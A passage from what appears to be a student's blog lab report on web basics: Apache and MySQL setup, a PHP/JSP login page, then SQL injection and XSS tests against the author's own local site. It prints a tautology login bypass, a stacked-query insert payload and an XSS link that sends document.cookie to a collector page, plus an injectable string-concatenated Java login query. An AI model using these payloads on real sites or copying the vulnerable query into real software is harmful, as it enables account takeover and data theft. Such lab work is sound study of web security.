20145313张雪纯Exp8 Web基础
回答问题
(1)什么是表单
表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
(2)浏览器可以解析运行什么语言。
html,css,javascript,如果想运行其他语言,需要安装插件。
(3)WebServer支持哪些动态语言
python、nodejs、php、ruby等。
2.实验总结与体会
这个实验太难了,Java学得不好,web一般,php没学过,为什么我要选它??思考人生...........
实验步骤
Web前端HTML
使用
apachectl start开启Apach,使用netstat -aptn查看端口占用.由于OPEN VAS使用80端口,把配置端口文件中把默认监听端口改成8088。

重启Apache服务

打开127.0.0.1:8088,测试服务是否已成功启动.打开显示为上次实验生成的钓鱼网站

在
/var/www/html文件夹下生成一个测试文件,测试网页是否能调取文件夹中的文件


- 编写一个简单的登录界面网页。


- 输入用户名密数据传输至action中的5313.php中,但是由于未定义无法显示


- 测试php功能


Web前端javascipt
- 验证用户名、密码
String sql="select * from users where username="+"'"+username+"'";//定义一个查询语句
ResultSet rs=db.executeQuery(sql);//运行上面的语句
if(rs.next())
{
if(password.equals(rs.getObject("password"))){
response.sendRedirect("loginsuccess.jsp"); //如果密码匹配则跳转至loginsuccess.jsp
}
else{
out.print("<script language='javaScript'> alert('密码错误');</script>");
response.setHeader("refresh", "0;url=login.jsp");
}
}
else
{
out.print("<script language='javaScript'> alert('请输入用户名——else');</script>");
response.setHeader("refresh", "0;url=login.jsp");
}
Web后端
/etc/init.d/mysql start启动MySQL

mysql -u root –p登录MySQL,默认密码为p@ssw0rd

show databases;查看基本信息,显示出有多少数据库。

建库建表
CREATE SCHEMA `库表的名称`;
CREATE TABLE `库表的名称`.`users` (
`userid` INT NOT NULL COMMENT '',
`username` VARCHAR(45) NULL COMMENT '',
`password` VARCHAR(256) NULL COMMENT '',
`enabled` VARCHAR(5) NULL COMMENT '',
PRIMARY KEY (`userid`) COMMENT '');


- 添加数据记录
use ‘库表名称’
insert into users(userid,username,password,enabled) values(1,'用户id',password("用户密码"),"TRUE");

查看用户,修改密码,更新权限
- 输入
use mysql;,选择mysql数据库 - 输入
select user, password, host from user;,mysql库中的user表中存储着用户名、密码与权限 - 输入
UPDATE user SET password=PASSWORD("新密码") WHERE user='root'; - 输入
flush privileges;,更新权限 - 输入
quit退出

- 输入
编写登录界面login.html

编写连接数据库login.php

用添加的数据记录进行登录

5秒后转至欢迎界面

SQL注入,XSS攻击测试
SQL攻击
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
永真式攻击

在用户名输入框中输入' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为
select * from users where username='' or 1=1#' and password=md5('')
由于以“ #”号开头直到行尾的所有内容都认为是注释,所以以上语句等价为
select * from users where username='' or 1=1
再等价为
1=1
为永真式,永远成立。

SQL注入
先构造sql注入语句,在数据库中添加数据。
';insert into users(userid,username,password,enabled) values(999,'111',password("222"),"TRUE");#
同上,等价于
SELECT * FROM users WHERE username='';
insert into users(userid,username,password,enabled) values(999,'111',password("222"),"TRUE");

连接成功,完成注入

使用注入的数据进行登录

XSS攻击
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
- 先建立一个网站test5313.html, 用来接收“偷”来的信息。然后构造一个恶意链接,诱使用户点击。如
http://127.0.0.1:8088/logIn.php?term=<script>window.open("http://127.0.0.1:8088/test5313.php?cookie="+document.cookie)</script>. - 用户点击了这个URL,嵌入在URL中的恶意Javascript代码就会在用户的浏览器中执行. 其在127.0.0.1:8088/logIn.php网站的cookie, 就会被发送到127.0.0.1:8088/test5313.html网站中。即可实现对用户身份的盗取。
- 点击构造的url,自动转至原网页

用XSS实现在输入特定字符串后显示图片:


使用cookie进行登录
cookie指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
相关代码ltc已上传至git:http://git.oschina.net/alovera/webhuihuaguanli/tree/master
在网站默认目录下建立logIn.php,logOut.php,loged.php
首先在logIn中登录,关闭网页后再次打开不需要再次登录。想退出时点击log out即可。

实现发帖功能
- 使用data.txt的写入读取实现发帖、查看已发布帖子。


20145313张雪纯Exp8 Web基础的更多相关文章
- 20145313张雪纯 《Java程序设计》8周学习总结
20145313张雪纯 <Java程序设计>8周学习总结 教材学习内容总结 java.util.logging包的优点在于提供了日志功能相关类与接口,不必额外配置日志组件就可以在标准jav ...
- 20145313张雪纯 《Java程序设计》第3周学习总结
20145313张雪纯 <Java程序设计>第3周学习总结 教材学习内容总结 4.1.1 定义类 package four; class Clothes{ String color; ch ...
- 20145313张雪纯 《Java程序设计》第9周学习总结
20145313张雪纯 <Java程序设计>第9周学习总结 教材学习内容总结 JDBC是用于执行SQL的解决方案,开发人员使用JDBC的标准接口,数据库厂商则对接口进行操作,开发人员无需接 ...
- 20145313张雪纯 《Java程序设计》第7周学习总结
20145313张雪纯 <Java程序设计>7周学习总结 教材学习内容总结 1967年定义的国际原子时,将秒的国际单位定义为铯原子辐射振动9192631170周耗费的时间. 为了简化日后对 ...
- 20145313张雪纯 《Java程序设计》第6周学习总结
20145313张雪纯 <Java程序设计>第6周学习总结 教材学习内容总结 将数据从来源中取出,可以使用输入串流:将数据写入目的地,可以使用输出串流. 输入串流代表对象为java.io. ...
- 20145313张雪纯 《Java程序设计》第5周学习总结
20145313张雪纯 <Java程序设计>第5周学习总结 教材学习内容总结 JAVA中所有错误都会被打包成对象,可以用尝试(try)捕捉(catch)代表错误的对象后做一些处理.使用tr ...
- 20145313张雪纯 《Java程序设计》第4周学习总结
20145313张雪纯 <Java程序设计>第4周学习总结 教材学习内容总结 6.1何谓继承 程序代码重复时,可以把相同的程序代码提升为父类.继承除了可避免类之间重复的行为定义以外,还有i ...
- 20145313张雪纯 《Java程序设计》第2周学习总结
20145313张雪纯 <Java程序设计>第2周学习总结 教材学习内容总结 3.1.1类型 整数:分为short整数(2字节).int整数(4字节).long整数(8字节). 字节:by ...
- 20145313张雪纯MSF基础应用实验
实验博客 ms08_067攻击实验 http://www.cnblogs.com/entropy/p/6690301.html ms11_050漏洞攻击 http://www.cnblogs.com/ ...
随机推荐
- Gym - 101628F Find the Inn dijkstra,读边时计算新权值
题意: 给n个点m条边及每条边所花费的时间,经过给定的p个点时会停留k秒,要求在t秒内从1号点走到n号点,若可以走到输出最短时间,若不行输出-1.. 题解:读取边时,将每个点停留的时间加到以其为终点的 ...
- Oracle HA 之 测试RAC的功能
作用:在oracle数据库instance级别的冗余,其中只要有一个instance可用即可保证可用性,但是不能保准数据级别的错误. 数据库文件需要放置在共享存储上,理论上一个实例对应一个数据库,实例 ...
- angularjs中的单选框绑定数据注意事项
这里说的是angularjs 1.x 在实现单选框时,我们完全可以用html自带的<input type="radio"/>,但是配合angularjs 中的双向绑定, ...
- version `GLIBC_2.14' not found问题
先对比下源码编译.RPM 包和 YUM 三种安装方法的优劣: 源码编译:可以自行指定编译参数,自由度高,略显麻烦.但是如果不安装最新版本,BUGs 和 CVEs 是不会被修复的,和咸鱼没什么差别: R ...
- Python面试基础篇
1. 为什什么学习Python? Life is short, You need Python 2. 通过什什么途径学习的Python? pass 3. Python和Java.PHP.C.C#.C+ ...
- 2018/04/16 PHP 设计模式之工厂模式
学习设计模式一定要知道它是为了什么而产生的,凡事一定有原因. 站在巨人的肩膀上学习,推荐两篇文章 什么是php工厂模式?为何要用php工厂模式? php工厂模式的使用实例总结 PHP设计模式之工厂模式 ...
- 钱币兑换问题--hdu1284(完全背包)
Problem Description 在一个国家仅有1分,2分,3分硬币,将钱N兑换成硬币有很多种兑法.请你编程序计算出共有多少种兑法. Input 每行只有一个正整数N,N小于32768. ...
- CentOS VmwareTools安装
1. 虚拟机菜单栏--虚拟机--安装VMware tools 2. CentOS系统中弹出的VMware tools窗口中--右击VMwaretools.tar.gz--Extract到桌面 3.打开 ...
- iframs刷新的两种方法
<iframe src="a1.html" id="iframe1Id" name="iframe1Name" width=" ...
- inter x86 emulator accelerator(HAXM installer) not compatible with windows
在SDK manager中遇到如下错误:这将导致AVD后期运行和启动方面的问题. 解决办法: 在如下的网址里面下载haxm-windows_v6_2_0这个文件的压缩包,自己手动安装即可.网站如下:点 ...